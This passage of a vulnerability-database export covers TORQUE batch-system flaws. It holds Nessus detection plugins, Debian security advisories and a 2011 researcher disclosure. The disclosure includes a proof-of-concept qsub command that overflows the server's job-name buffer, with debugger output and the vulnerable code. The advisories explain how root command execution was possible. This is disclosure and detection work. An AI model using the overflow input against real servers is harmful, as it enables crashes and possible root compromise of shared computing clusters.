"2013-11-20T00:00:00", "type": "nessus", "title": "Mandriva Linux Security Advisory : torque (MDVSA-2013:268)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:mandriva:linux:lib64torque-devel", "p-cpe:/a:mandriva:linux:lib64torque2", "p-cpe:/a:mandriva:linux:torque", "p-cpe:/a:mandriva:linux:torque-client", "p-cpe:/a:mandriva:linux:torque-gui", "p-cpe:/a:mandriva:linux:torque-mom", "p-cpe:/a:mandriva:linux:torque-sched", "p-cpe:/a:mandriva:linux:torque-server", "cpe:/o:mandriva:business_server:1"], "id": "MANDRIVA_MDVSA-2013-268.NASL", "href": "https://www.tenable.com/plugins/nessus/70968", "sourceData": "#%NASL_MIN_LEVEL 70300\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Mandriva Linux Security Advisory MDVSA-2013:268. \n# The text itself is copyright (C) Mandriva S.A.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(70968);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2013-4495\");\n script_bugtraq_id(63722);\n script_xref(name:\"MDVSA\", value:\"2013:268\");\n\n script_name(english:\"Mandriva Linux Security Advisory : torque (MDVSA-2013:268)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Mandriva Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated torque packages fix security vulnerability :\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs_server (CVE-2013-4495).\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://advisories.mageia.org/MGASA-2013-0327.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64torque-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64torque2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-client\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-gui\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-mom\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-sched\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-server\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:business_server:1\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2013/11/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/11/20\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Mandriva Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Mandrake/release\")) audit(AUDIT_OS_NOT, \"Mandriva / Mandake Linux\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^(amd64|i[3-6]86|x86_64)$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Mandriva / Mandrake Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"lib64torque-devel-4.1.5.1-1.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"lib64torque2-4.1.5.1-1.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-4.1.5.1-1.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-client-4.1.5.1-1.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-gui-4.1.5.1-1.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-mom-4.1.5.1-1.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-sched-4.1.5.1-1.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-server-4.1.5.1-1.1.mbs1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-18T14:30:58", "description": "John Fitzpatrick from MWR Labs reported a stack-based buffer overflow vulnerability in torque, a PBS-derived batch processing queueing system. An unauthenticated remote attacker could exploit this flaw to execute arbitrary code with root privileges.", "cvss3": {}, "published": "2014-05-25T00:00:00", "type": "nessus", "title": "Debian DSA-2936-1 : torque - security update", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0749"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:torque", "cpe:/o:debian:debian_linux:6.0", "cpe:/o:debian:debian_linux:7.0"], "id": "DEBIAN_DSA-2936.NASL", "href": "https://www.tenable.com/plugins/nessus/74164", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-2936. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(74164);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2014-0749\");\n script_bugtraq_id(67420);\n script_xref(name:\"DSA\", value:\"2936\");\n\n script_name(english:\"Debian DSA-2936-1 : torque - security update\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"John Fitzpatrick from MWR Labs reported a stack-based buffer overflow\nvulnerability in torque, a PBS-derived batch processing queueing\nsystem. An unauthenticated remote attacker could exploit this flaw to\nexecute arbitrary code with root privileges.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=748827\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/squeeze/torque\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/wheezy/torque\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2014/dsa-2936\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the torque packages.\n\nFor the oldstable distribution (squeeze), this problem has been fixed\nin version 2.4.8+dfsg-9squeeze4.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u3.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:6.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:7.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/05/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/05/25\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"6.0\", prefix:\"libtorque2\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"libtorque2-dev\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-client\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-client-x11\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-common\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-mom\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-pam\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-scheduler\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-server\", reference:\"2.4.8+dfsg-9squeeze4\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libtorque2\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libtorque2-dev\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-client\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-client-x11\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-common\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-mom\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-pam\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-scheduler\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-server\", reference:\"2.4.16+dfsg-1+deb7u3\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securityvulns": [{"lastseen": "2021-06-08T19:14:15", "description": "It&#39;s possible to queue code execution by connecting directly to pbs_mom port. Shell characters vulnerability.", "cvss3": {}, "published": "2013-11-18T00:00:00", "type": "securityvulns", "title": "torque authentication bypass", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495"], "modified": "2013-11-18T00:00:00", "id": "SECURITYVULNS:VULN:13367", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13367", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2021-06-08T19:13:57", "description": "Buffer overflow on oversized job name.", "cvss3": {}, "published": "2011-07-18T00:00:00", "type": "securityvulns", "title": "Torque Server buffer overflow", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2011-2193"], "modified": "2011-07-18T00:00:00", "id": "SECURITYVULNS:VULN:11791", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:11791", "sourceData": "", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:41", "description": "Name: Torque Server Buffer Overflow Vulnerability\r\nAuthor: Adam Zabrocki &#40;&lt;pi3@itsec.pl&gt;&#41;\r\n Bartlomiej Balcerek &#40;&lt;bartol@pwr.wroc.pl&gt;&#41;\r\n Maciej Kotowicz\r\n&#40;&lt;maciej.kotowicz@pwr.wroc.pl&gt;&#41;\r\nDate: March 27, 2011\r\nRisk: Moderate\r\nCVE: CVE-2011-2193\r\n\r\n\r\n Description:\r\n\r\nTORQUE Resource Manager provides control over batch jobs and distributed\r\ncomputing resources.\r\nIt is an advanced open-source product based on the original PBS project*\r\nand incorporates the\r\nbest of both community and professional development. It incorporates\r\nsignificant advances in\r\nthe areas of scalability, reliability, and functionality and is\r\ncurrently in use at tens of\r\nthousands of leading government, academic, and commercial sites\r\nthroughout the world. TORQUE\r\nmay be freely used, modified, and distributed under the constraints of\r\nthe included license.\r\n\r\nTORQUE is commonly used in most of the GRID projects including WLCG,\r\nEGEE, etc.\r\n\r\n\r\n Details:\r\n\r\nA buffer overflow vulnerability has been found in the Torque server.\r\nThis was\r\nreported to the EGI SVG &#40;RT 1870&#41; as well as to the Torque software\r\nproviders. \r\n\r\nThis has been fixed by the Torque Providers, and an updated version is\r\nalso\r\navailable in EPEL.\r\n\r\nTorque server does not check the length of &quot;job name&quot; argument before\r\nusing it - this string is verified only on the client side. It is\r\npossible to use modified Torque client or DRMAA interface to submit job\r\nwith arbitrary chosen job name in terms of length and content. Thus, it\r\nis possible to attacker to overflow buffer and overwrite some Torque\r\nserver process internal data causing its specific behavior.\r\n\r\nWhat can be overwritten is log_buffer global string array and\r\nall next symbols:\r\n\r\n0000000000734b00 B log_buffer\r\n0000000000738b00 B msg_registerrel\r\n0000000000738b08 B msg_manager\r\n0000000000738b10 B msg_startup1\r\n0000000000738b18 B msg_momnoexec1\r\n0000000000738b20 B msg_man_uns\r\n0000000000738b28 B msg_sched_nocall\r\n0000000000738b30 B msg_issuebad\r\n0000000000738b38 B stdout@@GLIBC_2.2.5\r\n0000000000738b40 B msg_job_end_stat\r\n0000000000738b48 b dtor_idx.6147\r\n0000000000738b50 b completed.6145\r\n0000000000738b58 b acct_opened\r\n0000000000738b5c b acct_auto_switch\r\n0000000000738b60 b acctfile\r\n0000000000738b68 b acct_opened_day\r\n0000000000738b70 b spaceused\r\n0000000000738b78 b spaceavail\r\n0000000000738b80 b username.6360\r\n0000000000738bc0 b groupname.6402\r\n\r\n\r\nHere is example how to submit the crafted job:\r\n\r\n[bartol@bartek_torque torque-mod]$ echo /bin/date | ./src/cmds/qsub -Z\r\n&quot;Job_Name=&#96;perl -e &#39;print &quot;A&quot;x16350&#39;&#96;&quot;\r\n\r\nIt is possible now to see in debugger that structures adjacent to\r\nlog_buffer are overwritten with &quot;A&quot; chars &#40;encoded as 0x41 numbers&#41;:\r\n\r\nProgram received signal SIGINT, Interrupt.\r\n0x00000033550cd323 in __select_nocancel &#40;&#41; from /lib64/libc.so.6\r\n&#40;gdb&#41; x/20x 0x0000000000738b00\r\n0x738b00 &lt;msg_registerrel&gt;: 0x4141414141414141\r\n0x4141414141414141\r\n0x738b10 &lt;msg_startup1&gt;: 0x4141414141414141\r\n0x4141414141414141\r\n0x738b20 &lt;msg_man_uns&gt;: 0x4141414141414141 0x4141414141414141\r\n\r\nThe overflow occurs in the following code:\r\n\r\n1560 sprintf&#40;log_buffer, msg_jobnew,\r\n1561 preq-&gt;rq_user, preq-&gt;rq_host,\r\n1562 pj-&gt;ji_wattr[&#40;int&#41;JOB_ATR_job_owner].at_val.at_str,\r\n1563 pj-&gt;ji_wattr[&#40;int&#41;JOB_ATR_jobname].at_val.at_str,\r\n1564 pj-&gt;ji_qhdr-&gt;qu_qs.qu_name&#41;;\r\n\r\n\r\nWe proved that server crash is easily possible &#40;including database\r\ndamage&#41; and we think privilege escalation can be done with some more\r\neffort as well, but the latter is strongly dependable on particular\r\nbuild flags and architecture.\r\n\r\nThe overflow is also possible in pbs_iff setuid binary, since the &quot;host&quot;\r\nvariable length is not checked:\r\n\r\n sprintf&#40;log_buffer,&quot;cannot resolve IP address for host &#39;&#37;s&#39;\r\nherror=&#37;d: &#37;s&quot;,\r\n hostname, /*1*/\r\n h_errno,\r\n hstrerror&#40;h_errno&#41;&#41;;\r\n\r\n\r\n Affected Software:\r\n\r\nVersions of Torque prior to Torque 2.4.14 and also Torque 3.0.[0,1]\r\n\r\n\r\n References:\r\n\r\nCVE assignment:\r\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2193\r\n\r\nRH bug:\r\nhttps://bugzilla.redhat.com/show_bug.cgi?id=711463\r\n\r\nRH release for SL5:\r\nhttps://admin.fedoraproject.org/updates/torque-2.3.13-2.el5\r\n\r\n\r\nCluster resources ref. \r\nhttp://www.clusterresources.com/pipermail/torqueusers/2011-June/012982.html\r\n\r\n\r\n Timeline:\r\n\r\nYyyy-mm-dd\r\n\r\n2011-05-10 Vulnerability reported to EGI SVG by Bartlomiej Balcerek, in\r\naddition to reporting to\r\n software providers\r\n2011-05-10 Acknowledgement from the EGI SVG to the reporter\r\n2011-06-06 Software provider states issue fixed \r\n2011-06-07 Bug subitted in RH EPEL, as EGI mostly uses EPEL distribution\r\n2011-06-22 Updated packages formally released in EPEL\r\n2011-06-24 Public disclosure by the EGI SVG\r\n\r\n--\r\nhttp://pi3.com.pl\r\n", "cvss3": {}, "published": "2011-07-18T00:00:00", "type": "securityvulns", "title": "Torque Server Buffer Overflow Vulnerability", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2011-2193"], "modified": "2011-07-18T00:00:00", "id": "SECURITYVULNS:DOC:26654", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:26654", "sourceData": "", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:49", "description": "\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA512\r\n\r\n- -------------------------------------------------------------------------\r\nDebian Security Advisory DSA-2770-1 security@debian.org\r\nhttp://www.debian.org/security/ Salvatore Bonaccorso\r\nOctober 09, 2013 http://www.debian.org/security/faq\r\n- -------------------------------------------------------------------------\r\n\r\nPackage : torque\r\nVulnerability : authentication bypass\r\nProblem type : remote\r\nDebian-specific: no\r\nCVE ID : CVE-2013-4319\r\nDebian Bug : 722306\r\n\r\nJohn Fitzpatrick of MWR InfoSecurity discovered an authentication bypass\r\nvulnerability in torque, a PBS-derived batch processing queueing system.\r\n\r\nThe torque authentication model revolves around the use of privileged\r\nports. If a request is not made from a privileged port then it is\r\nassumed not to be trusted or authenticated. It was found that pbs_mom\r\ndoes not perform a check to ensure that connections are established\r\nfrom a privileged port.\r\n\r\nA user who can run jobs or login to a node running pbs_server or pbs_mom\r\ncan exploit this vulnerability to remotely execute code as root on the\r\ncluster by submitting a command directly to a pbs_mom daemon\r\nto queue and run a job.\r\n\r\nFor the oldstable distribution &#40;squeeze&#41;, this problem has been fixed in\r\nversion 2.4.8+dfsg-9squeeze2.\r\n\r\nFor the stable distribution &#40;wheezy&#41;, this problem has been fixed in\r\nversion 2.4.16+dfsg-1+deb7u1.\r\n\r\nFor the unstable distribution &#40;sid&#41;, this problem will be fixed soon.\r\n\r\nWe recommend that you upgrade your torque packages.\r\n\r\nFurther information about Debian Security Advisories, how to apply\r\nthese updates to your system and frequently asked questions can be\r\nfound at: http://www.debian.org/security/\r\n\r\nMailing list: debian-security-announce@lists.debian.org\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.14 &#40;GNU/Linux&#41;\r\n\r\niQIcBAEBCgAGBQJSVWfFAAoJEAVMuPMTQ89E6Z8P/20uNyrICGD4ut8gjo9SN91S\r\nrCH5IfPwaIqS9cwZBkoqlRKxSc54d5eO7dlSGeOEpuB5KExYHi/h9KmS/Ja31pUO\r\nnCZ9onijhiyIr7d1+7YIVQpBXA7E3QxDXC5462ZtCuM9OPwFO22yspQKq9TfI2U+\r\nhAhuRPnb6J7+7i8WQubpOLGynhuy4EJaYBTNiL7i9Z/Na7iWKRTHioFb92y4Y/pT\r\nsFpQ1r5EMVDzmJ8UzmyrWbdWMumKKoiGzgBCan9UKtkX2l4i8wjmc3ypifox+1zo\r\nlJqoBXh0PFrRtyHYwFAAU2oujuNdxgTwBD9al7Jip/0FHtEbhGum1VwIx9t95JrZ\r\nPsrjWjXZWdydRQHflBoGj3pKxD0UPH+OcEWgXpR8gGsID0g17muKRIuztAwFtrbR\r\nyLOpV0sobzR5GWaBFfwbIf+zziljqNKhXe1DgAjjegUuWD9Y4HP0H2pb42bp5ybx\r\nL9avUTjn9GOz428cAuj2PBLPaBLrtlvXePgjk88sl+Gf6Dt1SWqtH5niFgQtwhfV\r\nXFwIG6zBhCJp6jW2CyZxXHMkWgOWTAIOTb7B4R77y8MTyAnK/Ua30x4DFAaF4qli\r\nARF6BsI3h6VjU835sDPJlaPHu+0KwM5Q7xOswuNtxyNYsuxVD2+ap+e0zIYlEod0\r\naO3eNNSfeTDJq1B2aD54\r\n=0S9S\r\n-----END PGP SIGNATURE-----\r\n\r\n", "cvss3": {}, "published": "2013-10-13T00:00:00", "type": "securityvulns", "title": "[SECURITY] [DSA 2770-1] torque security update", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2013-4319"], "modified": "2013-10-13T00:00:00", "id": "SECURITYVULNS:DOC:29943", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:29943", "sourceData": "", "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:49", "description": "\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA512\r\n\r\n- -------------------------------------------------------------------------\r\nDebian Security Advisory DSA-2796-1 security@debian.org\r\nhttp://www.debian.org/security/ Salvatore Bonaccorso\r\nNovember 13, 2013 http://www.debian.org/security/faq\r\n- -------------------------------------------------------------------------\r\n\r\nPackage : torque\r\nVulnerability : arbitrary code execution\r\nProblem type : remote\r\nDebian-specific: no\r\nCVE ID : CVE-2013-4495\r\nDebian Bug : 729333\r\n\r\nMatt Ezell from Oak Ridge National Labs reported a vulnerability in\r\ntorque, a PBS-derived batch processing queueing system.\r\n\r\nA user could submit executable shell commands on the tail of what is\r\npassed with the -M switch for qsub. This was later passed to a pipe,\r\nmaking it possible for these commands to be executed as root on the\r\npbs_server.\r\n\r\nFor the oldstable distribution &#40;squeeze&#41;, this problem has been fixed in\r\nversion 2.4.8+dfsg-9squeeze3.\r\n\r\nFor the stable distribution &#40;wheezy&#41;, this problem has been fixed in\r\nversion 2.4.16+dfsg-1+deb7u2.\r\n\r\nFor the unstable distribution &#40;sid&#41;, this problem has been fixed in\r\nversion 2.4.16+dfsg-1.3.\r\n\r\nWe recommend that you upgrade your torque packages.\r\n\r\nFurther information about Debian Security Advisories, how to apply\r\nthese updates to your system and frequently asked questions can be\r\nfound at: http://www.debian.org/security/\r\n\r\nMailing list: debian-security-announce@lists.debian.org\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.15 &#40;GNU/Linux&#41;\r\n\r\niQIcBAEBCgAGBQJSg9JgAAoJEAVMuPMTQ89EqOIP/Au7xN2tw30qBBOtnlyDxonv\r\nDqn5FxfAyxvsrBuD4uB4wOELNR8UiqHn1xWcRBLHTP5DJonhAHMH3VeCFJIjfj0a\r\nvUcnzu0SnChvrT1OaZEF7M7RzOzT03ylSKwA5ED6U7ZuXOPqWPSXI+hzDhjLuThf\r\nS6hrw4yAc9RI6uoMQIK5HHbPf8EwjhO+ep/cXPH7KizCw64xdpqBrkEqNvPS851C\r\nm7CjfiGp2nOMLcdr0MUA62P/tRn9PYcCrNLcVge+2TXAtZ4gWctCxd3iud4R8Abt\r\nEYnzv8uckW1/yhTyd4l2wc5U34Xbf6O6ZbuQwt9ZzF/s4XNCaX26BLcwTNWYYOmy\r\n+YnRW+QqBsiTXIS3W2uTW9w93iwgkP7t087tZx6enllxplqkkI8GNX7bWNXA2lcY\r\niQuCLfxzsNYkhNiGkuf4NgglUbcMEw4D8V4vuHoTAVSwemLLY2ghkwSCLW1ZUHTb\r\nwI0gDJPSFp10Z3CORSHJghFX5LH25HgrKDJ4S0Waz5WjBRT21r4Li/bsYHGOMht2\r\njAyQ3H1Ahfk4KK/IKu5V/q6UoYMtX5On2ozCfTdUa/fLvvQHzDj6zHLmWa+ob3Xg\r\nyH+T0Fsj+laxky1N+QeYnN2uMPiAsxKsR1RLvoZk2dniStdldkwR37Pmv9jlFjnf\r\nRFqk8VMbBlX9kb5qxPdq\r\n=z3T1\r\n-----END PGP SIGNATURE-----\r\n", "cvss3": {}, "published": "2013-11-18T00:00:00", "type": "securityvulns", "title": "[SECURITY] [DSA 2796-1] torque security update", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2013-4495"], "modified": "2013-11-18T00:00:00", "id": "SECURITYVULNS:DOC:29996", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:29996", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2021-06-08T19:14:15", "description": "Buffer overflow on task processing.", "cvss3": {}, "published": "2014-05-30T00:00:00", "type": "securityvulns", "title": "torque buffer overflow", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2014-0749"], "modified": "2014-05-30T00:00:00", "id": "SECURITYVULNS:VULN:13788", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13788", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:52", "description": "\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA512\r\n\r\n- -------------------------------------------------------------------------\r\nDebian Security Advisory DSA-2936-1 security@debian.org\r\nhttp://www.debian.org/security/ Salvatore Bonaccorso\r\nMay 23, 2014 http://www.debian.org/security/faq\r\n- -------------------------------------------------------------------------\r\n\r\nPackage : torque\r\nCVE ID : CVE-2014-0749\r\nDebian Bug : 748827\r\n\r\nJohn Fitzpatrick from MWR Labs reported a stack-based buffer overflow\r\nvulnerability in torque, a PBS-derived batch processing queueing system.\r\nAn unauthenticated remote attacker could exploit this flaw to execute\r\narbitrary code with root privileges.\r\n\r\nFor the oldstable distribution &#40;squeeze&#41;, this problem has been fixed in\r\nversion 